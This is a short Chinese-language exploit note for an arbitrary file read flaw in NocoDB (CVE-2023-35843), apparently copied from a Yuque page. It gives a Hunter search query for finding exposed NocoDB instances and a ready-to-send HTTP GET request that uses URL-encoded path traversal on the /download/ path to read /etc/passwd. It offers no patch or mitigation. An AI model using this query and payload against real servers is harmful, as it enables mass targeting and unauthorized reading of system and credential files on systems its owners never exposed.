# NocoDB任意文件读取漏洞（CVE-2023-35843）

# 一、漏洞简介
NocoDB是一个开源 Airtable 替代品。将任何 MySql、PostgreSql、Sql Server、Sqlite 和 MariaDb 转换为智能电子表格。NocoDB存在任意文件读取漏洞。

# 二、影响版本
+ NocoDB

# 三、资产测绘
+ hunter`web.icon=="5d7c3d89c1d24cb4f15a508f7f0b6daf"&&web.title="NocoDB"`
+ 登录页面

![1693921077108-552cf2d5-970a-4f6e-bbcd-bf48e2538189.png](./img/9vDPKBC4oRNWg3jb/1693921077108-552cf2d5-970a-4f6e-bbcd-bf48e2538189-144298.png)

# 四、漏洞复现
```plain
GET /download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

![1693921148029-64aff3bb-16ff-4f8d-a963-b219bd5f9790.png](./img/9vDPKBC4oRNWg3jb/1693921148029-64aff3bb-16ff-4f8d-a963-b219bd5f9790-721038.png)



> 更新: 2024-02-29 23:57:33  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/fvdfqew9f4ggosya>